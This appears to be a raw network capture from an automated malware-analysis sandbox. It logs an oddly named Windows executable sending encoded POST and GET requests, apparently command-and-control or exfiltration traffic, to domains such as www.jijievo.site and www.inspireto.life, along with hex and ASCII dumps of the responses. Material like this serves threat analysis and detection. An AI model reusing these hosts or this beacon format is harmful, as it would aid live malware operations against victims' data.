Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49830	13.248.169.48	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:38:31.478219032 CET	551	OUT	GET /ni8v/?u6nP_F48=E6dmM5lVsU5dMvoO4DByNQl1po9CAiKqwP/M9Lkf/Pz1vXYNvQEcepUiklJu8ucCjCBb2PxhMpGrlWRQjEXW3F39dXh33B934veeKulAqM3yo8/KKg/OIuvEV/M85G2BQAfVVnY=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.aiactor.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:38:32.568223953 CET	421	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 03 Dec 2024 13:38:32 GMT Content-Type: text/html Content-Length: 281 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 75 36 6e 50 5f 46 34 38 3d 45 36 64 6d 4d 35 6c 56 73 55 35 64 4d 76 6f 4f 34 44 42 79 4e 51 6c 31 70 6f 39 43 41 69 4b 71 77 50 2f 4d 39 4c 6b 66 2f 50 7a 31 76 58 59 4e 76 51 45 63 65 70 55 69 6b 6c 4a 75 38 75 63 43 6a 43 42 62 32 50 78 68 4d 70 47 72 6c 57 52 51 6a 45 58 57 33 46 33 39 64 58 68 33 33 42 39 33 34 76 65 65 4b 75 6c 41 71 4d 33 79 6f 38 2f 4b 4b 67 2f 4f 49 75 76 45 56 2f 4d 38 35 47 32 42 51 41 66 56 56 6e 59 3d 26 46 38 53 30 47 3d 75 6c 38 30 72 50 68 78 46 6c 52 38 6c 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?u6nP_F48=E6dmM5lVsU5dMvoO4DByNQl1po9CAiKqwP/M9Lkf/Pz1vXYNvQEcepUiklJu8ucCjCBb2PxhMpGrlWRQjEXW3F39dXh33B934veeKulAqM3yo8/KKg/OIuvEV/M85G2BQAfVVnY=&F8S0G=ul80rPhxFlR8lH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49870	154.90.35.240	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:38:48.544800997 CET	803	OUT	POST /k6jo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.jijievo.site Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.jijievo.site Referer: http://www.jijievo.site/k6jo/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 74 30 49 68 48 53 5a 72 32 33 48 57 4a 77 5a 78 42 2f 4c 6b 31 73 51 59 6d 46 34 34 42 65 69 38 62 61 52 7a 66 34 47 52 4f 6b 30 75 6a 38 66 32 58 31 2b 6f 44 72 5a 39 7a 69 57 30 6b 49 54 57 56 69 38 63 4b 43 6b 59 4f 66 57 65 32 7a 6c 61 55 78 73 42 61 7a 61 33 6a 30 43 69 2f 35 6b 4d 73 65 71 57 32 65 63 39 37 30 58 31 4e 6f 4a 48 75 57 46 66 74 37 65 45 61 4e 6b 53 6c 31 68 43 6b 4e 79 77 71 69 63 74 41 4b 39 70 35 30 63 30 6e 6f 49 73 63 32 38 71 68 52 2b 6e 63 59 48 5a 6b 6b 34 46 76 57 6e 41 4b 69 48 32 39 34 39 33 35 39 49 64 4b 70 2b 78 41 44 46 50 52 39 54 63 78 4f 6c 68 6c 70 47 43 71 53 42 4f Data Ascii: u6nP_F48=t0IhHSZr23HWJwZxB/Lk1sQYmF44Bei8baRzf4GROk0uj8f2X1+oDrZ9ziW0kITWVi8cKCkYOfWe2zlaUxsBaza3j0Ci/5kMseqW2ec970X1NoJHuWFft7eEaNkSl1hCkNywqictAK9p50c0noIsc28qhR+ncYHZkk4FvWnAKiH2949359IdKp+xADFPR9TcxOlhlpGCqSBO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49876	154.90.35.240	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:38:51.216475010 CET	827	OUT	POST /k6jo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.jijievo.site Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.jijievo.site Referer: http://www.jijievo.site/k6jo/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 74 30 49 68 48 53 5a 72 32 33 48 57 4a 51 70 78 61 63 6a 6b 6b 63 51 66 36 56 34 34 55 75 69 34 62 61 64 7a 66 39 69 42 50 53 6b 75 6b 5a 37 32 59 52 4b 6f 43 72 5a 39 37 43 57 78 71 6f 54 64 56 69 34 75 4b 41 77 59 4f 66 53 65 32 79 56 61 56 43 30 43 49 7a 61 70 72 55 43 6b 78 5a 6b 4d 73 65 71 57 32 65 49 48 37 31 7a 31 4e 59 5a 48 75 33 46 63 72 4c 65 44 62 4e 6b 53 68 31 68 47 6b 4e 7a 66 71 6e 39 34 41 49 46 70 35 30 73 30 6e 39 38 6a 56 32 38 7a 38 42 2f 70 51 4c 33 64 2b 43 39 4b 6d 6e 66 50 4b 6a 69 51 34 4f 67 74 6c 4f 49 2b 59 35 65 7a 41 42 64 39 52 64 54 32 7a 4f 64 68 33 2b 4b 6c 6c 6d 6b 74 35 6f 7a 77 43 75 35 69 56 2f 74 6d 62 76 4e 47 74 75 55 41 4c 77 3d 3d Data Ascii: u6nP_F48=t0IhHSZr23HWJQpxacjkkcQf6V44Uui4badzf9iBPSkukZ72YRKoCrZ97CWxqoTdVi4uKAwYOfSe2yVaVC0CIzaprUCkxZkMseqW2eIH71z1NYZHu3FcrLeDbNkSh1hGkNzfqn94AIFp50s0n98jV28z8B/pQL3d+C9KmnfPKjiQ4OgtlOI+Y5ezABd9RdT2zOdh3+Kllmkt5ozwCu5iV/tmbvNGtuUALw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49883	154.90.35.240	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:38:53.897022009 CET	1840	OUT	POST /k6jo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.jijievo.site Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.jijievo.site Referer: http://www.jijievo.site/k6jo/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 74 30 49 68 48 53 5a 72 32 33 48 57 4a 51 70 78 61 63 6a 6b 6b 63 51 66 36 56 34 34 55 75 69 34 62 61 64 7a 66 39 69 42 50 53 73 75 6b 71 44 32 5a 77 4b 6f 54 62 5a 39 78 69 57 77 71 6f 54 4d 56 6b 52 6c 4b 41 74 74 4f 64 36 65 33 51 74 61 45 48 41 43 43 7a 61 70 6e 30 43 6c 2f 35 6b 5a 73 65 36 53 32 65 59 48 37 31 7a 31 4e 61 78 48 70 6d 46 63 77 4c 65 45 61 4e 6b 47 6c 31 68 75 6b 4f 43 6f 71 6e 78 6f 41 37 4e 70 67 51 49 30 67 50 6b 6a 61 32 38 78 76 78 2b 30 51 4c 36 44 2b 43 4a 67 6d 6e 36 67 4b 69 61 51 35 61 31 47 67 38 34 49 44 4c 2b 2b 51 6a 35 35 4b 59 4c 47 72 64 5a 75 6e 59 57 73 6e 55 34 34 38 4e 72 57 4e 4e 49 75 43 75 4e 77 51 61 55 5a 68 75 4d 51 4c 37 30 6d 42 34 78 6f 75 6a 47 70 34 50 71 69 42 54 56 6b 67 6d 64 42 79 41 2b 52 4e 69 79 56 68 65 6d 32 53 78 31 70 7a 37 6e 6f 77 65 41 47 78 32 61 5a 79 37 73 52 72 65 46 44 59 50 72 57 38 2f 78 63 55 47 72 4e 67 34 4f 65 73 48 4a 54 36 6a 36 78 51 51 67 65 37 38 52 6a 34 49 78 56 74 51 31 76 7a 34 65 37 36 [TRUNCATED] Data Ascii: u6nP_F48=t0IhHSZr23HWJQpxacjkkcQf6V44Uui4badzf9iBPSsukqD2ZwKoTbZ9xiWwqoTMVkRlKAttOd6e3QtaEHACCzapn0Cl/5kZse6S2eYH71z1NaxHpmFcwLeEaNkGl1hukOCoqnxoA7NpgQI0gPkja28xvx+0QL6D+CJgmn6gKiaQ5a1Gg84IDL++Qj55KYLGrdZunYWsnU448NrWNNIuCuNwQaUZhuMQL70mB4xoujGp4PqiBTVkgmdByA+RNiyVhem2Sx1pz7noweAGx2aZy7sRreFDYPrW8/xcUGrNg4OesHJT6j6xQQge78Rj4IxVtQ1vz4e764SOUDrhWw2NzyP0yRDiR9BkRFIiN/BaW0IIHCjURO/x2JYBzlYHFB+mrsMaakDE0F5raldDkTCk6NKpzAituSjIX2cJG54myVBjnCCDS4XwQTM8xA+SGvQ8plW4kbcB8kwDgm7QwUdWhD8FDeISItyLwL8mqyNSIYDLGnMG5vHQ/OGIFVw1HUFit+s+4NYyMbnm5WcZ8vruDgVCUhf8aM/8DeRrHPWK4E53PmqPWqOnqqx3NlDcSmwdCX3r6z92Fzczndo/6ArHjDfuxBgQhzYLDnGkK/bSVG9nuXw6BpdLhY5aZi1Dwh91beRb1PEB9a6tBFARnxlnWrT5I5W49S7FEPfGnphr+8quHEA4OYJDPbUuonOAQhg85qVb8HpGqlQqTYuODIL/gAlGfMPXVBE13S0nvOdUP0NIRqldU0XiFZHeRI/BoRUwfmZ936CqXqULKvWAdthqn6gyiYrOZd52168fpv+pYtJ0/zLRQ+r6MJR3MTthdvd6U2Dh2EFQ1IX4Qk7+waZmOzBO9XJ6sCChx5ExmC9cqrYM5x6vKOMn5IWuSaFTYxy4tr36U1177ozoyY179i0hvOasF1un/6dwagnp0fEwqhyc0xLeOppdh8Lyo3MMP+U8HcRcPThNpEa49ayb+5jrGy4bd9TU7xW7xCwocJZDniw [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49889	154.90.35.240	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:38:56.553672075 CET	552	OUT	GET /k6jo/?u6nP_F48=g2gBEi9B+HDFGx1wG+72kN8Yj19AUdr4Nr1Jd72ZJlQgpbXPbifaD6lB1zmlmZG8AmkyaCU7LvK0zzlsdiU5EFaXnjyK5oQQkYGW08c3lB7eL51xgHFAptm5WP0FkXlczfO1jHA=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.jijievo.site Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:38:58.419655085 CET	197	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 03 Dec 2024 13:38:58 GMT Server: nginx Vary: Accept-Encoding Content-Length: 24 Connection: close Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Unable to get connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49907	162.0.213.94	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:04.053203106 CET	809	OUT	POST /odi0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.inspireto.life Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.inspireto.life Referer: http://www.inspireto.life/odi0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4e 38 37 69 75 6c 47 66 6c 6d 72 35 6d 71 6b 36 6e 38 66 73 6e 70 50 49 4e 31 74 49 6c 36 44 6c 69 6c 36 4f 5a 63 68 51 32 2f 48 67 66 2f 75 6f 30 73 4a 77 4e 6d 6a 5a 61 38 61 31 69 4f 57 54 5a 50 4e 44 59 78 6e 69 4f 6c 77 55 44 58 58 69 73 31 58 34 58 35 31 36 46 6b 32 30 54 55 56 37 73 34 4d 46 6a 6e 51 34 62 56 32 6c 47 51 65 45 65 70 68 71 79 37 6d 50 34 43 64 37 57 78 31 6b 4b 57 51 6c 4c 30 2b 72 6a 66 74 64 53 55 74 4c 34 73 4d 45 50 43 2f 30 62 43 68 6f 46 50 2f 47 4d 72 59 64 6e 65 59 37 4c 45 71 72 53 2f 57 7a 5a 46 68 6f 52 64 6d 6f 51 30 32 79 42 77 65 4c 59 48 53 53 6f 77 76 6d 71 6b 33 59 Data Ascii: u6nP_F48=N87iulGflmr5mqk6n8fsnpPIN1tIl6Dlil6OZchQ2/Hgf/uo0sJwNmjZa8a1iOWTZPNDYxniOlwUDXXis1X4X516Fk20TUV7s4MFjnQ4bV2lGQeEephqy7mP4Cd7Wx1kKWQlL0+rjftdSUtL4sMEPC/0bChoFP/GMrYdneY7LEqrS/WzZFhoRdmoQ02yBweLYHSSowvmqk3Y
Dec 3, 2024 14:39:05.373219967 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:39:05 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 3, 2024 14:39:05.373302937 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 3, 2024 14:39:05.373321056 CET	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 3, 2024 14:39:05.373498917 CET	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
Dec 3, 2024 14:39:05.373543024 CET	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Dec 3, 2024 14:39:05.373569965 CET	1236	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Dec 3, 2024 14:39:05.373581886 CET	1236	IN	Data Raw: 33 2c 32 33 2e 38 30 36 34 37 20 2d 30 2e 35 33 30 33 34 2c 31 34 2e 31 34 33 33 38 20 2d 32 2e 38 38 37 30 36 2c 33 36 2e 35 33 32 32 36 20 2d 35 2e 34 32 30 39 2c 35 36 2e 34 34 39 35 31 20 2d 32 2e 35 33 33 38 33 2c 31 39 2e 39 31 37 32 35 20 Data Ascii: 3,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44951 -2.53383,19.91725 -5.24428,37.35836 -7.95503,54.80146" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;strok
Dec 3, 2024 14:39:05.374119997 CET	896	IN	Data Raw: 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 Data Ascii: butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.12978,122.92016 c -2.601311,10.56131 -5.214983,21.17282 -7.40283,31.41665 -2.187847,10.24384 -3.955407,20.14218 -5.074975,26.03483
Dec 3, 2024 14:39:05.374237061 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Dec 3, 2024 14:39:05.374391079 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
Dec 3, 2024 14:39:05.493640900 CET	1236	IN	Data Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49916	162.0.213.94	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:06.715790987 CET	833	OUT	POST /odi0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.inspireto.life Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.inspireto.life Referer: http://www.inspireto.life/odi0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4e 38 37 69 75 6c 47 66 6c 6d 72 35 30 37 55 36 67 76 48 73 77 5a 50 4c 43 56 74 49 71 61 44 68 69 6c 32 4f 5a 64 6c 41 33 4c 72 67 52 39 32 6f 6d 39 4a 77 4f 6d 6a 5a 43 73 62 78 6f 75 58 52 5a 50 42 4c 59 30 50 69 4f 6c 6b 55 44 56 66 69 73 43 72 2f 58 70 31 34 4b 45 32 79 4d 6b 56 37 73 34 4d 46 6a 6e 45 53 62 56 75 6c 47 44 32 45 65 49 68 74 74 4c 6d 4d 2f 43 64 37 53 78 31 67 4b 57 51 4c 4c 78 6e 77 6a 64 56 64 53 52 4a 4c 35 39 4e 32 42 43 2b 78 59 79 67 72 4c 36 69 39 43 4e 5a 73 34 38 55 73 53 44 69 77 65 70 4c 70 46 32 68 4c 44 4e 47 71 51 32 75 41 42 51 65 68 61 48 71 53 36 6e 6a 42 6c 51 53 37 58 56 33 68 70 2b 48 2f 66 64 71 51 4a 71 63 63 37 30 4c 2b 4c 51 3d 3d Data Ascii: u6nP_F48=N87iulGflmr507U6gvHswZPLCVtIqaDhil2OZdlA3LrgR92om9JwOmjZCsbxouXRZPBLY0PiOlkUDVfisCr/Xp14KE2yMkV7s4MFjnESbVulGD2EeIhttLmM/Cd7Sx1gKWQLLxnwjdVdSRJL59N2BC+xYygrL6i9CNZs48UsSDiwepLpF2hLDNGqQ2uABQehaHqS6njBlQS7XV3hp+H/fdqQJqcc70L+LQ==
Dec 3, 2024 14:39:07.975531101 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:39:07 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 